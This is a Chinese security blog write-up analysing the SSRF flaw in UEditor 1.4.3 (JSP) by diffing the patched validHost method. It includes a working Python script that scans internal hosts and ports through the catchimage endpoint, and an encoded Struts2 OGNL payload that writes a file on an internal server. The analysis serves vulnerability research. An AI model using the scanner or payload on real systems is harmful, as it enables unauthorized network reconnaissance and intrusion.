作者: 浮萍@猎户安全实验室
公众号:猎户安全实验室
前些时间测试的时候遇到了一个系统采用了UEditor编辑器,版本为1.4.3。已知该编辑器v1.4.3版本存在SSRF漏洞,虽然是Bool型的SSRF,除了可以进行内网探测外,也可以根据web应用指纹信息,之后进行进一步的测试。
查看官方的更新日志可以发现UEditor编辑器在版本1.4.3.1修复了SSRF漏洞。
那版本1.4.3应该存在SSRF漏洞,本着能搜索就不动手的原则搜了一下,发现wooyun-2015-0133125中提到过这类的漏洞。但我这里是jsp版本的,里面提到jsp版本不一样,只好去分析一下漏洞产生的位置。
那我们需要查看版本1.4.3与1.4.3.1有什么不同,从而找到存在问题的地方。该项目的代码托管在Github上,地址为:https://github.com/fex-team/ueditor/。
查看版本1.4.3.1下的jsp代码.
可以发现在该版本有一次commit,commitId 为a1820147cfc3fbe2960a7d99f8dfbe338c02f0b6
。根据字面意思应该是增加了修复SSRF的代码。
下载下来后对比一下v1.4.3.1和v1.4.3代码有什么不同(这里仅对比jsp下的代码)。
发现在v1.4.3.1中修改了jsp/src/com/baidu/ueditor/hunter/ImageHunter.java的validHost方法。
privatebooleanvalidHost ( String hostname) { try { InetAddressip = InetAddress.getByName(hostname);//根据主机名获取ip if (ip.isSiteLocalAddress()) {//是否为地区本地地址 returnfalse; } } catch (UnknownHostExceptione) { returnfalse; } return !filters.contains( hostname ); }
新增了对ip地址是否为内部地址的判断。而在v1.4.3中仅仅是做了是否为过滤的ip地址。
privatebooleanvalidHost ( String hostname) { return !filters.contains( hostname ); }
isSiteLocalAddress方法作用是当IP地址是地区本地地址(SiteLocalAddress)时返回true,否则返回false。
IPv4的地址本地地址分为三段:10.0.0.0~ 10.255.255.255、172.16.0.0 ~ 172.31.255.255、192.168.0.0 ~192.168.255.255。
搜索后发现在captureRemoteData中调用了validHost方法。
根据代码可以分析:首先使用validHost对url进行判断,如果不合法,就提示“被阻止的远程主机”;当满足条件后会使用validContentState方法查看返回的状态是否为200,若不为200,则提示“远程连接出错”;进而对后缀、文件大小进行判断,都符合之后才进行图片的保存。如果url无法访问,则提示“抓取远程图片失败”。
所以可以根据返回的内容,来推断该url对应的主机是否可以访问。由于在版本v1.4.3中没有对请求的主机进行验证,从而造成了SSRF漏洞。
继续查看在capture方法中调用了captureRemoteData。
publicStatecapture ( String[] list ){ MultiStatestate = newMultiState( true ); for ( String source : list ) { state.addState( captureRemoteData( source )); } return state;
在invoke中调用了capture.
publicStringinvoke() { if ( actionType == null || !ActionMap.mapping.containsKey(actionType ) ) { returnnewBaseState( false, AppInfo.INVALID_ACTION ).toJSONString(); } ... Statestate = null; intactionCode = ActionMap.getType( this.actionType ); ... switch ( actionCode ) { ... caseActionMap.CATCH_IMAGE: conf = configManager.getConfig(actionCode ); String[] list = this.request.getParameterValues( (String)conf.get( "fieldName" ) ); state = newImageHunter( conf ).capture( list ); break; ... } returnstate.toJSONString(); }
当调用capture需要满足条件为actionCode为ActionMap.CATCH_IMAGE
,在ActionMap中value为ActionMap.CATCH_IMAGE
对应的key为catchimage。所以当actionType值为catchimage,即action参数对应为catchimage时,才可能触发SSRF漏洞。下面对漏洞进行验证。
这里用的是v1.4.3 jsp版本,下载ueditor1_4_3-utf8-jsp.zip,之后进行配置(可以参考http://fex.baidu.com/ueditor/#server-jsp)。
功能实现的入口文件是jsp/controller.jsp。由上述分析可知需要满足action参数为catchimage。
在case ActionMap.CATCH_IMAGE中下断点,然后进行调试。
访问链接http://localhost:8088/jsp/controller.jsp?action=catchimage
继续运行发现list为空,然后就抛出了异常。
再次运行,查看list数据从何而来。
可以看出list的数据从浏览器source[]参数而来。这里source[]需要后缀为图片格式,具体可以查看config.js中的catcherAllowFiles。
已知192.168.135.133开启了tomcat服务,且端口为8080。我们这里访问一张不存在的图片,例如用UUID生成一张图片的名称。
当进入validHost方法时,由于被访问的主机地址不在过滤的范围,所以返回true。
这里可以发现,仅仅对127.0.0.1、localhost和img.baidu.com进行了限制,当ip为本地地址时并没有限制,从而可以进行内网探测。
而该图片由于不存在,所以状态码为404,到此抓取图片过程结束,并返回结果。
这里可以根据页面返回的结果不同,来判断该地址对应的主机端口是否开放。可以总结为以下几点:
如果抓取不存在的图片地址时,页面返回{"state": "SUCCESS", list: [{"state":"\u8fdc\u7a0b\u8fde\u63a5\u51fa\u9519"} ]},即state为“远程连接出错”。
如果成功抓取到图片,页面返回{"state": "SUCCESS", list: [{"state": "SUCCESS","size":"5103","source":"http://192.168.135.133:8080/tomcat.png","title":"1527173588127099881.png","url":"/ueditor/jsp/upload/image/20180524/1527173588127099881.png"} ]},即state为“SUCCESS”。
如果主机无法访问,页面返回{"state":"SUCCESS", list: [{"state": "\u6293\u53d6\u8fdc\u7a0b\u56fe\u7247\u5931\u8d25"}]},即state为“抓取远程图片失败”。
由于除了在config.js中的catcherLocalDomain配置了过滤的地址外,没有针对内部地址进行过滤,所以可以根据抓取远程图片返回结果的不同,来进行内网的探测。
由上述分析,根据返回包中的state进行判断,当state为"远程连接出错"或者为“SUCCESS”时表示该主机存在,且对应的端口为开放状态。
代码如下:
__Date__="20180524" ''' Usage: python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.133 python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.0/24 Python version: 3.6.2 requirements:IPy==0.83 ''' import sys import json import requests from IPy import IP defcheck(url,ip,port): url = '%s/jsp/controller.jsp?action=catchimage&source[]=http://%s:%s/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png' %(url,ip,port) res = requests.get(url) result = res.text result = result.replace("list","\"list\"") res_json = json.loads(result) state = res_json['list'][0]['state'] if state == '远程连接出错'or state == 'SUCCESS': print(ip,port,'is Open') defmain(url,ip): ips = IP(ip) ports = [80,8080] for i in ips: for port in ports: check(url,i,port) if__name__ == '__main__': url = sys.argv[1] ip = sys.argv[2] main(url,ip)
由于返回的结果为{"state": "SUCCESS", list: [{"state":"..."} ]}
并不能直接用json来解析,需要将list替换为“list”后才可以作为json来解析。当然也可以直接使用burp来测试。
在实际测试中的测试结果如下:
对于这样的Bool型SSRF ,页面仅返回了状态,而没有更多别的信息,要想进一步利用,可以根据如下的思路:
内网探测->应用识别->攻击Payload->查看结果
首先进行内网探测,查看内网开放的主机和端口。这里以本地为例。
执行命令:
python SSRF_Ueditor_jsp.pyhttp://localhost:8088/ 192.168.135.155 192.168.135.15580is Open 192.168.135.1558080is Open
发现端口80 和 8080 开放,然后进行应用的识别。
80端口由于没有可以识别的特征,所以未识别到应用的类型,而8080端口可以识别出来为tomcat服务器。
然后尝试查看是否可能存在Struts2漏洞。
由于在抓取远程图片时,会请求给出的URL地址,所以可以利用Struts2漏洞在内网服务器(这里为192.168.135.155)上写入一个后缀为图片格式(如png、jpg)的文件(因为只能抓取图片格式的文件,所以这里写入了图片后缀的文件),然后利用Ueditor抓取图片的功能,将写入的图片文件抓取到ueditor服务器中,然后访问图片查看攻击结果。
首先写文件,这里利用Struts2漏洞在内网服务器web项目下写入一个名字为b5e592d2-ab5b-476d-865a-8299a0625490.png的文件,内容为Struts2_Test.png。
这里之所以写入内容为Struts2_Test.png,是由于在抓取图片时会判断图片链接的后缀是否为图片格式。当然还有其他的写法,例如
http://192.168.135.135:8080/Struts2_bugs-0.0.1-SNAPSHOT/test.action%3Fredirect%253A%24%257B%2523req%253d%2523context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%2523b%253D%2523req.getRealPath(%2522/%2522)%252B’b5e592d2-ab5b-476d-865a-8299a0625490.png’,%2523res%253d%2523context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%2523res.getWriter().print(%2522oko%2522),%2523res.getWriter().print(%2522kok%2522),%2523res.getWriter().flush(),%2523res.getWriter().close(),new%2520java.io.BufferedWriter(new%2520java.io.FileWriter(%2523b)).append(%2523req.getParameter(%2522shell%2522)).close()%257D%26shell%3DStruts2_Test&aaa.png
也可以写入。
然后再次利用Ueditor抓取远程图片的功能将写入内网服务器的“图片文件”抓取下来,查看其内容。
这里需要抓取的图片地址为:http://192.168.135.155:8080/Struts2_bugs-0.0.1-SNAPSHOT/b5e592d2-ab5b-476d-865a-8299a0625490.png
由上图可以看出,最后抓取的文件保存地址为:/ueditor/jsp/upload/image/20180525/1527181480175039672.png
然后访问http://localhost:8088/ueditor/jsp/upload/image/20180525/1527181480175039672.png
查看是否攻击成功。
表明攻击成功。
由于UEditor在v1.4.3之前没有加入对内部IP的限制,所以在使用抓取图片的功能时,造成SSRF漏洞。可以进行内网服务器的探测。然后根据内网服务器的特征(如/jmx-console/images/logo.gif, /tomcat.png),判断其使用的组件,并猜测可能存在的漏洞,然后进行进一步的渗透。